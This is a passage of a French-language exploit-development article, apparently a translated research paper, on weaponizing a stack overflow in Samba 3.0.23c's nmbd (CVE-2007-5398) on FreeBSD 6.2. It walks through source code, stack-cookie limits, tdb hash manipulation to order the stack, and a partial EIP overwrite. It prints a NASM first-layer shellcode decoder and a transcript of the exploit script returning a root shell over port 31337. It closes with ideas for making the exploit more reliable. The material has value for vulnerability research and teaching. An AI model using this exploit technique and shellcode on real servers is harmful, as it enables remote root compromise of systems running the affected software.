 263  Place un nom netbios, padding(s) et un type de nom  dans un tampon
 264  de 16 caractères 264  Le nom est déjà dans un jeu de caractère DOS.
 265  [15 bytes name + padding][1 byte name type].
 266 **************************************************************     */
 267 
 268 void put_name(char *dest, const char *name, int pad, 
                   unsigned int name_type     )
 269 {
 270         size_t len = strlen(name);
 271 
 272      memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ? 
                  len : MAX_NETBIOSN     AME_LEN - 1);
 273         if (len < MAX_NETBIOSNAME_LEN - 1) {
 274               memset(dest + len, pad, MAX_NETBIOSNAME_LEN - 1 - len);
 275         }
 276         dest[MAX_NETBIOSNAME_LEN - 1] = name_type;
 277 }
 278 
--------------------------------------------

Ainsi, il apparaît qu'à l'aide d'une requête assez longue, on peut déborder 
le second char buf[1024]; dans send_packet(), mais à cause de la pile des 
cookies, on ne peut continuer plus avant.

En effet, après quelques expériences, il semble que cela ne soit pas 
exploitable depuis  Ubuntu  en standard, à cause de propolice/SSP, et le 
dernier flux de code ne semble pas nous fournir un mécanisme où on peut 
écrire dans une autre mémoire que l'on peut contrôler, malheureusement. Ceci 
dit, je peux avoir oublié quelque chose d'évident ou je peux n'avoir pas 
compris quelque chose correctement. Si quelqu'un a une solution, 
j'apprécierai qu'il la donne.

Puisque la majorité des autres plates-formes populaires de <systemitem 
class="osname">Linux</systemitem> supporte SSP, j'ai décidé de jeter un coup 
d'oeil à la distribution courante de  FreeBSD  et voir si elle était 
vulnérable ou exploitable, et avec un rapide objdump dans le binaire nmbd, 
il apparaît que c'est le cas. Il était plutôt décevant d'apprendre qu'après 
avoir essayé de déclencher la vulnérabilité, il ne semble pas que cela soit 
exploitable, à cause des cookies dans la pile. (Du moins, d'après mes 
connaissances actuelles et ma compréhension).

Pour ce que j'en sais, apparemment  OpenBSD  et  DragonFly BSD  utilisent 
tout deux SSP et d'autres mécanismes de sécurité.. mais j'ai difficilement 
travaillé sur  BSD , et je ne me soucie guère de leur fonctionnement (ou de 
leur absence de fonctionnement)

--[ 5 - Écrire un exploit pour la version Samba 3.0.23c sur  FreeBSD 6.2

----[ 5.1 - Vérifier les drapeaux d'enregistrements valides

Pour exploiter correctement le démon nmbd, on devra contrôler la disposition 
de la pile avec précision. En examinant comment les données sont présentées, 
on voit que le paramètre des drapeaux est employé avec ce dont l'hôte est 
enregistré. À cause de restrictions potentielles, on doit valider les plages 
qui sont valides et peuvent être employées. 

En faisant quelques rapides recherches avec grep dans le code source de 
samba, on trouve le code suivant qui modifie les drapeaux :

--------------------------------------------
nmbd_packets.c:

uint16 get_nb_flags(char *buf)
{
        return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
}

../include/nameserv.h:#define NB_FLGMSK 0xE0

nmbd_winserver.c:
void wins_process_name_registration_request(struct subnet_record *subrec,
                                            struct packet_struct *p)
{
	...
        if(registering_group_name && (question->name_type != 0x1c)) {
                from_ip = *interpret_addr2("255.255.255.255");
        }
	...

--------------------------------------------

D'après ce qui précède, on voit que les seuls bits définis dans la requête 
des drapeaux sont valides, et selon ce que sont ces bits, ils peuvent 
modifier l'adresse ip associée avec la requête de registre. Pour simplifier 
les choses, nous procéderons en utilisant 0x0000 comme drapeau et nous 
exploiterons le résultat obtenu.

--[ 5.2 - Ordonner correctement les données de la pile

Samba stocke les enregistrements NMB au format tdb<link 
linkend='nextsect'>4</link>, un terminal de base de données conçu par 
l'équipe de Samba pour éviter de réimplémenter le même code plusieurs fois 
dans Samba.

À cause du mécanisme employé par tdb, la façon dont nmbd renvoie nos 
enregistrements de drapeaux et nos adresses ip ne sont pas nécessairement 
dans l'ordre où nous les enregistrons. Une analyse plus poussée révèle que 
nous forçons une disposition particulière afin de l'exploiter correctement.

En observant comment les noms sont recherchés, on voit :	

--------------------------------------------
nmbd_winsserver.c:

static void process_wins_dmb_query_request(struct subnet_record *subrec,
                                           struct packet_struct *p)
{
	...
        fetch_all_active_wins_1b_names();
	...

void fetch_all_active_wins_1b_names(void)
{
        tdb_traverse(wins_tdb, fetch_1b_traverse_fn, NULL);
}

/***********************************************************************
 Recherche tous les noms *<1b> depuis la db WINS et les stocke dans une
 liste de noms.
***********************************************************************/

static int fetch_1b_traverse_fn(TDB_CONTEXT *tdb, TDB_DATA kbuf, TDB_DATA 
                                dbuf, void *state)
{
        struct name_record *namerec = NULL;

        if (kbuf.dsize != sizeof(unstring) + 1) {
                return 0;
        }

        /* Filter out all non-1b names. */
        if (kbuf.dptr[sizeof(unstring)] != 0x1b) {
                return 0;
        }

        namerec = wins_record_to_name_record(kbuf, dbuf);
        if (!namerec) {
                return 0;
        }

        DLIST_ADD(wins_server_subnet->namelist, namerec);
        return 0;
}
--------------------------------------------

fetch_all_active_wins_1b_names() fait simplement appel à tdb_traverse() avec 
une fonction de rappel de fetch_1b_traverse_fn(), qui l'ajoute dans un cache 
mémoire de nom temporaire, au début d'une liste doublement chaînée.

Observant tdb_traverse(), il fait appel à tdb_traverse_internal(), où la 
majorité du travail s'effectue. À ce stade, il est probablement plus facile 
de regarder comment les données sont stockées dans la base de données, ce 
qui se produit dans tdb_store().

--------------------------------------------
/* stocke un élément dans la base de données, remplacant tout élément existant avec la même clé
   

   renvoie 0 en cas de succes, -1 en cas d'echec
*/
int tdb_store(struct tdb_context *tdb, TDB_DATA key, TDB_DATA dbuf, 
              int flag)
{

...

/* find which hash bucket it is in */
hash = tdb->hash_fn(&key);
if (tdb_lock(tdb, BUCKET(hash), F_WRLCK) == -1)
	return -1;

...

nmbd/nmbd_processlogon.c:tdb = tdb_open_log(lock_path("connections.tdb"),0,
nmbd/nmbd_winsserver.c:   wins_tdb = tdb_open_log(lock_path("wins.tdb"), 0,
                     TDB_DEFAULT|TDB_CLEAR_IF_FIRST, O_CREAT|O_RDWR, 0600);


tdb_private.h:#define BUCKET(hash) ((hash) % tdb->header.hash_size)

struct tdb_context *tdb_open(const char *name,int hash_size, int tdb_flags,
      int open_flags, mode_t mode)

...

if (hash_size == 0)
	hash_size = DEFAULT_HASH_SIZE;

tdb_private.h:#define DEFAULT_HASH_SIZE 131        
--------------------------------------------

D'après ceci, on peut voir qu'on doit employer hash_fn() (qui pallie à 
default_tdb_hash()) , et ensuite on doit moduler le résultat du hash par 
DEFAULT_HASH_SIZE. En générant des noms qui hashent à 130, on peut placer 
nos données dans l'ordre sur la pile, après les enregistrements 0x1b 
existant déjà. Avant de lancer un exploit, on doit voir combien il y a 
d'enregistrements 0x1b, afin que la pile soit débordée correctement.
	
Ceci me rappelle les les attaques algorithmiques de complexité, soulignées 
ici [5]. Même si ce n'est pas directement lié, c'est toujours intéressant 
néanmoins.

----[ 5.3 - Analyse du programme de l'exécution</title>	

En déclenchant la vulnérabilité et en examinant la disposition de la pile, 
on voit que l'eip enregistré peut être écrasé en partie, avec deux octets. 
Si nous l'écrasons une fois de plus, les deux premiers octets de l'eip 
seront les deux octets de drapeau, et ils écraseront le premier argument de 
la fonction. Après le débordement de la valeur de orig_packet, le code nmbd 
l'indexera, pour copier une valeur de 4 octets, comme ci-dessous.

--------------------------------------------
nmbd_packets.c, send_reply_packet():
 973         packet.fd = orig_packet->fd;
--------------------------------------------

Selon l'analyse, un débordement partiel des deux octets de l'eip les moins 
signifiants semble être la meilleure ligne de conduite, car il est peu 
probable que l'on puisse mettre quelque chose d'utile dans les deux octets 
principaux (à cause des drapeaux). Le débordement des deux octets les moins 
signifiants avec D"'s, affiche :

--------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
0x08074444 in packet_is_for_wins_server ()
(gdb) x/10i 
0x8074444 <packet_is_for_wins_server+236>:     mov    0x400(%ebx),%eax
0x807444a <packet_is_for_wins_server+242>:     mov    (%eax),%eax
0x807444c <packet_is_for_wins_server+244>:     cmpl   $0x9,(%eax)
0x807444f <packet_is_for_wins_server+247>:     jle    0x80743a1
<packet_is_for_wins_server+73>
0x8074455 <packet_is_for_wins_server+253>:     push   $0x1fa
0x807445a <packet_is_for_wins_server+258>:     lea    0xfffd66ad(%ebx),%eax
0x8074460 <packet_is_for_wins_server+264>:     push   %eax
0x8074461 <packet_is_for_wins_server+265>:     lea    0xfffd6479(%ebx),%eax
0x8074467 <packet_is_for_wins_server+271>:     push   %eax
0x8074468 <packet_is_for_wins_server+272>:     push   $0xa
(gdb) i r ebx
ebx            0x0      0
(gdb) i r  
eax            0x1      1
ecx            0x2834fd80       674561408
edx            0x40     64
ebx            0x0      0
esp            0xbfbfe540       0xbfbfe540
ebp            0x44440000       0x44440000
esi            0x0      0
edi            0x41414141       1094795585
eip            0x8074444        0x8074444
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
--------------------------------------------

On peut voir que nous contrôlons complètement edi et à un degré moindre ebp.

En observant le désassemblage de l'épilogue applicable de la fonction 
reply_netbios_packet(), on voit :	

--------------------------------------------
.text:0806D0A0                 pop     edi
.text:0806D0A1                 leave
.text:0806D0A2                 retn
--------------------------------------------

Pour obtenir le contrôle complet de l'eip, on peut chercher un jmp edi ou un 
push edi ; ret. Après quelques recherches dans 0x0807xxxx, on trouve une 
séquence d'instructions appropriée  (avec des moyens incroyablement douteux 
.. mais cela fonctionne :p) :

--------------------------------------------
freebsd62# objdump -d nmbd | egrep -i "^ 807.*57 c[23]"
 80728a4:       e8 57 c2 04 00          call   80beb00 <x_fclose>
--------------------------------------------

qui est transféré dans un push edi ; ret 0x04. En plaçant nos deux derniers octets dans 0x080728a5, on peut obtenir un contrôle directement :

--------------------------------------------
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...y

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
--------------------------------------------

À ce stade, on doit obtenir le shellcode fonctionnant correctement. 
En repensant à la manière dont les données sont présentées ([drapeaux 2 
octets, les deux nuls][adresse ip 4 octets ]) .. la meilleure approche est 
d'écrire un décodeur personnalisé.

----[ 5.4 - shellcode

Comme abordé ci-dessus, on devrait avoir besoin d'un décodeur spécial, ainsi 
on pourra utiliser un shellcode générique disponible, contrairement à la 
mise en oeuvre d'un shellcode commun pour le tiers des octets.

Après quelques expériences, j'ai écrit un shellcode qui reconstruit 4 octets, 
puis saute 2 octets, puis saute vers l'endroit où on a reconstruit le
shellcode.

Le shellcode est le suivant (nasm -f bin first_layer_sc.asm -o 
first_layer_sc.bin à compiler.). Au début du shellcode, edi pointe sur notre 
eip actuel.

--------------------------------------------
BITS 32

%define tbnop add byte [eax],0x0	; 0x80 0x00 0x00

_start:
        add [eax], al		; two byte nulls, for flags.

        cld			; reset direction flag
        mov eax, edi            ; since our two byte nop dereferences [eax]
				; we need a writable memory location.

        tbnop			

        mov esi, edi            ; ESI = source of encoded shellcode
        nop

        tbnop

        add esi, byte 60        ; increment esi to start of real shellcode

        tbnop

        mov edi, esp            ; Place we're going to execute
        nop

        tbnop 

        xor ecx, ecx
        nop

        tbnop

        mov cl, byte 0x7e	; how many bytes we want to copy. Can copy up
				; 126 bytes or so. This can be fixed if
				; nessessacy
        nop
        tbnop

.copier:
        movsd
        nop 
        nop
        tbnop

        add esi, byte 0x02
        tbnop

        loopnz .copier
.ready:
        jmp esp
--------------------------------------------

Pour la seconde couche du shellcode, on peut employer le shellcode qu'on 
veut. Pour plus de flexibilité, j'ai utilisé le paquetage InlineEgg <link 
linkend='nextsect'>6</link> pour ajouter une plus grande flexibilité à la 
seconde couche du shellcode. 

Le codage du shellcode pour l'enregistrement des paquets est extrêmement 
simple. Changez l'endian ou l'ordre des 4 octets et ajoutez deux octets NULL.

Dans le meilleur des cas, la seconde couche du shellcode encoderait 
l'information d'enregistrement du shell par dessus l'interface de connexion 
existante ou l'information fd, en employant le protocole nmb 

S'il existait un exploit plus utile, il serait intéressant de prendre le 
temps de programmer le code requis.	

----[ 5.5 - Obtenir un shell

En combinant l'information ci-dessus, et en déterminant l'emplacement du 
shellcode dans la pile, on peut obtenir un :

--------------------------------------------
[target machine]
(gdb) shell rm /var/db/samba/wins.*
(gdb) r
Starting program: /usr/local/sbin/nmbd -F -s smb.conf
(no debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...(no debugging symbols found)...(no debugging symbols
found)...(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x28065af0 in ?? ()
(gdb) # This happened because our nmbd executed a new program
(gdb) c

[attacking machine]
$ python CVE-2007-5398.py --host 172.16.178.128 --target 0 
Hit y if you want to test registration flags, otherwise just hit enter> 
Existing registrations:  0
Amount of registrations to reach EIP:  239
Got 0 existing registrations. Hit any key to continue... 
First layer of shellcode is 66 bytes long
Second layer of shellcode is 246 bytes long
Names: |==========================================================| 100.00
Registering: |====================================================| 100.00
stack left over: 
Please hit enter to send final packet... 
Attempting to connect to 172.16.178.128:31337
 -------------------------------------------
You are in luck; it appears to of worked... shell below.
--
# It worked
# id
uid=0(root) gid=0(wheel) groups=0(wheel), 5(operator)
# uname -a
FreeBSD freebsd62 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 
2007     root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
--------------------------------------------	

Ainsi, avec beaucoup de recherches et d'analyses, on est seulement à 
mi-chemin ici. Cela serait préférable d'avoir un meilleur endroit de retour.

----[ 5.6 - Rendre l'exploit plus fiable

Actuellement, notre exploit a deux entrées codées en dur, la première est 
celle où l'emplacement de la séquence de code utilise edi pour obtenir 
l'exécution du code (jusqu'ici, 0x080728a5 pour notre cible actuelle depuis  
FreeBSD 6.2 ). En plus, elle emploie l'emplacement exact du début du 
shellcode. Pour des raisons diverses, l'adresse de la pile peut changer 
facilement pour une adresse exacte, pour des raisons diverses telles que :

 * Démarrer ou redémarrer nmbd manuellement
 * Des chaînes d'environnement différentes
 * Dans les dernières séries de Linux 2.6, la randomisation de la mémoire
   est activée par défaut, pour certaines applications

Il existe plusieurs occasions de rendre cet exploit plus fiable, comme 
ajouter de longues séquences de nop ou peut-être placer ou trouver un code 
approprié ailleurs.

Une séquence élevée de nop peut aider, mais un tiers des bits sont NULL où 
inutiles, ainsi c'est discutable. En plus, cela signifie si la plage est 
précise que nous avons seulement deux tiers de chance de viser une séquence 
de nop adéquate, par opposition à un crash pur et simple (comme  ?? encode 
pour ajouter [eax], al, et puisque eax sera un <link 
linkend='nextsect'>1</link> quand la séquence de nop est atteinte, il sera 
écrasé.) Ainsi, pour l'instant, nous chercherons une autre place ou un autre 
moyen fiable de contrôle d'exécution.

------[ 5.6.1 - Données static .bss</title>

Toute en analysant cette vulnérabilité, je remarque une fonction 
intéressante qui est appelée lors de l'envoi de paquets enregistrés :

--------------------------------------------
nmbd/nmbd_winsserver.c:

/*************************************************************************
 Écrase ou ajoute un nom donné dans wins.tdb.
*************************************************************************/

static BOOL store_or_replace_wins_namerec(const struct name_record *namerec
                                          ,int tdb_flag)
{
        TDB_DATA key, data;
        int ret;

        if (!wins_tdb) {
                return False;
        }

        key = name_to_key(&namerec->name);
        data = name_record_to_wins_record(namerec);

        if (data.dptr == NULL) {
                return False;
        }

        ret = tdb_store(wins_tdb, key, data, tdb_flag);

        SAFE_FREE(data.dptr);
        return (ret == 0) ? True : False;
}

...

/*************************************************************************
 Create key. Key is UNIX codepage namestring (usually utf8 64 byte len) 
 with 1 byte type.
*************************************************************************/

static TDB_DATA name_to_key(const struct nmb_name *nmbname)
{
        static char keydata[sizeof(unstring) + 1];
        TDB_DATA key;

        memset(keydata, '?', sizeof(keydata));

        pull_ascii_nstring(keydata, sizeof(unstring), nmbname->name);
        strupper_m(keydata);
        keydata[sizeof(unstring)] = nmbname->name_type;
        key.dptr = keydata;
        key.dsize = sizeof(keydata);

        return key;
}
--------------------------------------------

Le plus intéressant dans ce qui précède est le static char 
keydata[sizeof(unstring) + 1]; qui fournit la capacité de de placer jusqu'à 
64 octets dans un emplacement statique dans le .bss. Cependant, puisque les 
noms NetBIOS ont une longueur de 15 caractères, il y a encore une bonne 
portion de code qui pourrait être insérée ici. Quelques informations à 
propos de petits shellcodes peuvent être trouvées ici [7].

name_to_key() est appelée depuis trois emplacements dans le code, avec des 
noms explicites (sans inclure le store_or_replace_wins_namerec() ci-dessus :

--------------------------------------------
/*************************************************************************
 Delete a given name in the tdb and remove the temporary malloc'ed data 
 struct on the linked list.
*************************************************************************/

BOOL remove_name_from_wins_namelist(struct name_record *namerec)
{

...

struct name_record *find_name_on_wins_subnet(const struct nmb_name *nmbname
                                             ,BOOL self_only)
{
...

--------------------------------------------

L'intérêt est dans store_or_replace_wins_namerec() qui est appelé quand on 
envoie un enregistrement de paquets pour déclencher le débordement. On peut 
être capable d'envoyer un court shellcode approprié qui trouve notre 
chargeur de shellcode dans la pile (ou, avec plus d'efforts, sur le tas, 
évitant de ce fait les retouches non-exécutables de style Openwall).

Pouvoir employer cet emplacement statique nous donne quelques avantages sur 
la randomisation et les changements de la pile 

En examinant plus avant pull_ascii_nstring(), on voit qu'il met en 
correspondance des pages de code DOS avec des pages de code <systemitem 
class="osname">UNIX</systemitem>, particulièrement à propos des octets avec 
des bits de poids fort mis. Malheureusement, il modifie sévèrement l'entrée 
(via la phase de translation), met ensuite la chaîne en majuscule. J'ai 
essayé les restrictions ci-dessus et je n'ai rien obtenu qui fonctionne, 
mais cela passe outre la restriction de longueur. Cela fonctionne ainsi :	

 * push esp
 * pop ebp
 * push edi
 * pop esp
 * utiliser pop pour accéder au code que nous exécutons
 * utiliser la conversion de casse de caractères pour obtenir
   4 octets avec le bit le plus signifiant défini à 1.
 * Utiliser xor [edi+index], reg pour modifier le code
   applicatif que nous exécutons, ensuite faire quelque
   chose équivalent à sub ebp, <offset&#62; ; jmp ebp

Si quiconque implémente un shellcode adéquat qui s'adapte à ces 
restrictions, je serai fortement intéressé. Je pense que plus de temps et de 
motivation seraient nécessaire, et que rétrospectivement la solution 
pourrait être évidente. De plus, on peut contrôler le contenu des deux 
octets supérieurs de ebp, ce qui pourrait être utile pour coder le shellcode.
 
Peut-être quelque chose de la sorte :

 * push ebp
 * inc esp ; saute le bit nul
 * inc esp
 * l'octet dont le bit de poid fort est mis qui est
   déplacé dans un 0xc3 (instruction ret)
 * Les deux octets arbitraires exécutés doivent être
   choisis soigneusement. Un jmp vers l'arrière peut
   fonctionner, mais certaines structures de données
   ne peuvent pas être modifiées au hasard car nmbd
   sera écrasé avant que l'exécution ait lieu.

On pourrait employer l'autre adresse statique potentielle suivante :

--------------------------------------------
libsmb/nmblib.c:

1123 static unsigned char sort_ip[4];
1124 
1125 /*********************************************************************
1126  Compare deux enregistrements de réponse de requête.
1127 *********************************************************************/
1128 
1129 static int name_query_comp(unsigned char *p1, unsigned char *p2)
1130 {
1131         return matching_quad_bits(p2+2, sort_ip) - 
                     matching_quad_bits(p1+2, sort_ip);
1132 }
1133 
1134 /*********************************************************************
1135  Trie un ensemble d'enregistrements de réponse de requête en 6 bits
      de sorte que les IPs qui ont le plus de bits 
1136  principaux en commmun 
1136  avec les adresses indiquées soient en premier.
1137 *********************************************************************/
1138 
1139 void sort_query_replies(char *data, int n, struct in_addr ip)
1140 {
1141         if (n <= 1)
1142                 return;
1143 
1144         putip(sort_ip, (char *)&ip);
1145 
1146         qsort(data, n, 6, QSORT_CAST name_query_comp);
1147 }
--------------------------------------------

qui est accessible depuis nmbd/nmbd_winsserver.c :

--------------------------------------------
1831 void send_wins_name_query_response(int rcode, struct packet_struct *p,
1832                                           struct name_record *namerec)
1833 {
1834         char rdata[6];
1835         char *prdata = rdata;
1836         int reply_data_len = 0;
1837         int ttl = 0;
1838         int i;
1839 
1840         memset(rdata,'?',6);
1841 
1842         if(rcode == 0) {
1843                 ttl = (namerec->data.death_time != PERMANENT_TTL) ?  
          namerec->data.death_time - p->timestamp : lp_max_wi     ns_ttl();
1844 
1845     /* Copie toutes les adresses ip connues dans les données de
            retour. */
1846     /* Optimise pour le cas commun d'une adresse IP, ainsi nous
            n'avons pas besoin de malloc. */
1847 
1848                 if( namerec->data.num_ips == 1 ) {
1849                         prdata = rdata;
1850                 } else {
1851                         if((prdata = (char *)
                       SMB_MALLOC( namerec->data.num_ips * 6 )) == NULL) {
1852          DEBUG(0,("send_wins_name_query_response: malloc fail !
"));
1853                                 return;
1854                         }
1855                 }
1856 
1857                 for(i = 0; i < namerec->data.num_ips; i++) {
1858                     set_nb_flags(&prdata[i*6],namerec->data.nb_flags);
1859                 putip((char *)&prdata[2+(i*6)], &namerec->data.ip[i]);
1860                 }
1861 
1862                 sort_query_replies(prdata, i, p->ip);
1863                 reply_data_len = namerec->data.num_ips * 6;
1864         }
1865 

--------------------------------------------

Toutefois je n'ai pas exploré ce chemin complètement, car je ne crois pas 
que cela serait d'un grand secours.

Après avoir regardé ce qu'on pouvait faire avec de telles restrictions, j'ai 
commencé à examiner le code pour voir s'il y avait des mécanismes plus 
simples qui aideraient à exploiter cette faille correctement. J'ai remarqué 
quelques tampons statiques (static buffer) qui pourraient être utiles, mais 
il faut activer le débogage pour qu'ils soient exploités correctement - ce 
n'est pas exactement ce dont à besoin un exploit fiable.

------[5.6.2 - Fuite de mémoire

Durant le processus initial visant à reproduire le problème, j'ai noté que 
nmbd essaye de lire depuis la mémoire que nous contrôlons - peut-être qu'on 
peut trouver une fuite de mémoire ou d'information utile. En commençant à 
placer toutes les adresses ip NULL dans AABB, on rencontre le premier 
écrasement :

--------------------------------------------
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/local/sbin/nmbd -F -s smb.conf 
Program received signal SIGSEGV, Segmentation fault.
0x080adc67 in debug_nmb_res_rec ()
(gdb) bt
#0  0x080adc67 in debug_nmb_res_rec ()
#1  0x080ae023 in debug_nmb_packet ()
#2  0x0806d1f8 in reply_netbios_packet ()
#3  0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i 
0x80adc67 <debug_nmb_res_rec+47>:  mov    0x60(%edx),%ecx
0x80adc6a <debug_nmb_res_rec+50>:  test   %ecx,%ecx
0x80adc6c <debug_nmb_res_rec+52>:  je     0x80add89 <debug_nmb_res_rec+337>
0x80adc72 <debug_nmb_res_rec+58>:  cmp    $0xffffff9c,%edx
0x80adc75 <debug_nmb_res_rec+61>:  je     0x80add89 <debug_nmb_res_rec+337>
0x80adc7b <debug_nmb_res_rec+67>:  cmp    $0x0,%ecx
0x80adc7e <debug_nmb_res_rec+70>:  movl   $0x0,0xffffffe8(%ebp)
0x80adc85 <debug_nmb_res_rec+77>:  jle    0x80add89 <debug_nmb_res_rec+337>
0x80adc8b <debug_nmb_res_rec+83>:  mov    0x400(%ebx),%eax
0x80adc91 <debug_nmb_res_rec+89>:  mov    %eax,0xffffffe0(%ebp)
(gdb) i r edx ecx
edx            0x41414242       1094795842
ecx            0x42420000       1111621632
(gdb) bt
#0  0x080adc67 in debug_nmb_res_rec ()
#1  0x080ae023 in debug_nmb_packet ()
#2  0x0806d1f8 in reply_netbios_packet ()
#3  0x080728a5 in write_browse_list ()
--------------------------------------------

Démarrons notre analyse à debug_nmb_packet() dans libsmb/nmblib.c : 

--------------------------------------------
 103 
 104 /********************************************************************
 105  Traitement d'un paquet nmb.
 106 ********************************************************************/
 107 
 108 void debug_nmb_packet(struct packet_struct *p)
 109 {
 110         struct nmb_packet *nmb = &p->packet.nmb;
 111 
 112         if( DEBUGLVL( 4 ) ) {
...
 131         }
 132 
 133         if (nmb->header.qdcount) {
 134       DEBUGADD( 4, ( "    question: q_name=%s q_type=%d q_class=%d
",
...
 138         }
 139 
 140         if (nmb->answers && nmb->header.ancount) {
 141                 debug_nmb_res_rec(nmb->answers,"answers");
 142         }
 143         if (nmb->nsrecs && nmb->header.nscount) {
 144                 debug_nmb_res_rec(nmb->nsrecs,"nsrecs");
 145         }
 146         if (nmb->additional && nmb->header.arcount) {
 147                 debug_nmb_res_rec(nmb->additional,"additional");
 148         }
 149 }

(gdb) frame 1
#1  0x080ae023 in debug_nmb_packet ()
(gdb) x/8x 
0xbfbfdef0:     0x00000000      0x00000000      0x4795ddfa      0x08117a40
0xbfbfdf00:     0xbfbfe210      0x0000059a      0xbfbfe538      0x0806d1f8

Imaginons que 0xbfbfe210 est notre paquet nmb :

(gdb) x/x 0xbfbfe210	
0xbfbfe210:     0x41414242
(gdb) x/20x 0xbfbfe210
0xbfbfe210:     0x41414242      0x42420000      0x00004141      0x41414242
0xbfbfe220:     0x42420000      0x00004141      0x41414242      0x42420000
0xbfbfe230:     0x00004141      0x41414242      0x42420000      0x00004141
0xbfbfe240:     0x41414242      0x42420000      0x00004141      0x41414242
0xbfbfe250:     0x42420000      0x00004141      0x41414242      0x42420000
--------------------------------------------

Ainsi, notre analyse précédente se confirme. Nous avons écrasé certaines 
structures de données recherchées. En continuant, dans debug_nmb_res_rec(), 
on voit :

--------------------------------------------
  61 /*********************************************************************
  62  Copie d'une structure res_rec.
  63 *********************************************************************/
  64 
  65 static void debug_nmb_res_rec(struct res_rec *res, const char *hdr)
  66 {
  67         int i, j;
  68 
  69  DEBUGADD( 4, ( "    %s: nmb_name=%s rr_type=%d rr_class=%d ttl=%d
",
  70                 hdr,
  71                 nmb_namestr(&res->rr_name),
  72                 res->rr_type,
  73                 res->rr_class,
  74                 res->ttl ) );
  75 
  76         if( res->rdlength == 0 || res->rdata == NULL )
  77                 return;
  78 
  79         for (i = 0; i < res->rdlength; i+= MAX_NETBIOSNAME_LEN) {
  80                 DEBUGADD(4, ("    %s %3x char ", hdr, i));
  81 
  82                 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
  83                         unsigned char x = res->rdata[i+j];
  84                         if (x < 32 || x > 127)
  85                                 x = '.';
  86 
  87                         if (i+j >= res->rdlength)
  88                                 break;
  89                         DEBUGADD(4, ("%c", x));
  90                 }
  91 
  92                 DEBUGADD(4, ("   hex "));
  93 
  94                 for (j = 0; j < MAX_NETBIOSNAME_LEN; j++) {
  95                         if (i+j >= res->rdlength)
  96                                 break;
  97                 DEBUGADD(4, ("%02X", (unsigned char)res->rdata[i+j]));
  98                 }
  99 
 100                 DEBUGADD(4, ("
"));
 101         }
 102 }
 103 
--------------------------------------------

Ce code n'est pas très utile à ce stade. Si les pointeurs étaient valides, 
cela fonctionnerait (sans surprise).

En regardant le flux de code de send_packet(), (le code est ci-dessus), on 
dénote un code intéressant que l'on peut utiliser pour notre fuite 
d'information.

--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -s smb.conf 
debugging symbols found)...(no debugging symbols found)...(no debugging
symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x080ada3d in put_nmb_name ()
(gdb) bt
#0  0x080ada3d in put_nmb_name ()
#1  0x080ae26a in put_res_rec ()
#2  0x080af184 in build_packet ()
#3  0x080af236 in send_packet ()
#4  0x0806d38a in reply_netbios_packet ()
#5  0x080728a5 in write_browse_list ()
Previous frame inner to this frame (corrupt stack?)
(gdb) x/10i 
0x80ada3d <put_nmb_name+49>:    repz cmpsb %es:(%edi),%ds:(%esi)
0x80ada3f <put_nmb_name+51>:    jne    0x80adab5 <put_nmb_name+169>
0x80ada41 <put_nmb_name+53>:    mov    0x8(%ebp),%edi
0x80ada44 <put_nmb_name+56>:    pushl  0x50(%edi)
0x80ada47 <put_nmb_name+59>:    push   $0x0
0x80ada49 <put_nmb_name+61>:    pushl  0xffffffcc(%ebp)
0x80ada4c <put_nmb_name+64>:    lea    0xffffffd8(%ebp),%eax
0x80ada4f <put_nmb_name+67>:    push   %eax
0x80ada50 <put_nmb_name+68>:    call   0x80ad98c <put_name>
0x80ada55 <put_nmb_name+73>:    mov    0xffffffd4(%ebp),%edx
(gdb) i r edi esi
edi            0x8102db9        135278009
esi            0x0      0
--------------------------------------------

Malheureusement, ce qui précède est écrasé à cause d'un pointeur NULL 
déréférencé dans esi quand on test le contenu du nom. (Ce bout de code est 
lancé par la vérification quand le nom est testé par rapport à '*' dans 
put_nmb_name().)

À ce stade, j'ai décidé qu'il était probablement plus facile d'analyser le 
contenu de reply_netbios_packet() de sorte qu'on puisse voir exactement ce 
qui est écrasé, à quel endroit, et établir quels en sont les effets. 
Nous utiliserons à cet effet IDA Pro Standard 5.2

D'abord, examinons plus attentivement ce qui se passe dans le code source,  
cela nous aidera dans l'analyse assembleur

--------------------------------------------
nmbd/nmbd_winsserver.c:
 856 /*********************************************************************
 857   Réponse à un paquet de nom netbios.  voir rfc1002.txt
 858 *********************************************************************/
 859 
 860 void reply_netbios_packet(struct packet_struct *orig_packet,
 861          int rcode, enum netbios_reply_type_code rcv_code, int opcode,
 862                           int ttl, char *data,int len)
 863 {
 864         struct packet_struct packet;
 865         struct nmb_packet *nmb = NULL;
 866         struct res_rec answers;
 867         struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
 868         BOOL loopback_this_packet = False;
 869         int rr_type = RR_TYPE_NB;
 870         const char *packet_type = "unknown";
 871 
 872         /* Check if we are sending to or from ourselves. */
 873  if(ismyip(orig_packet->ip) && (orig_packet->port == global_nmb_port))
 874                 loopback_this_packet = True;
 875 
 876         nmb = &packet.packet.nmb;
 877 
...
 965         if (data && len) {
 966                 nmb->answers->rdlength = len;
 967                 memcpy(nmb->answers->rdata, data, len);
 968         }
 969 
...

Malheureusement, le pointeur nmb n'est pas utilisé après la ligne 967.	

...

include/nameserv.h:
524 
525 struct packet_struct
526 {
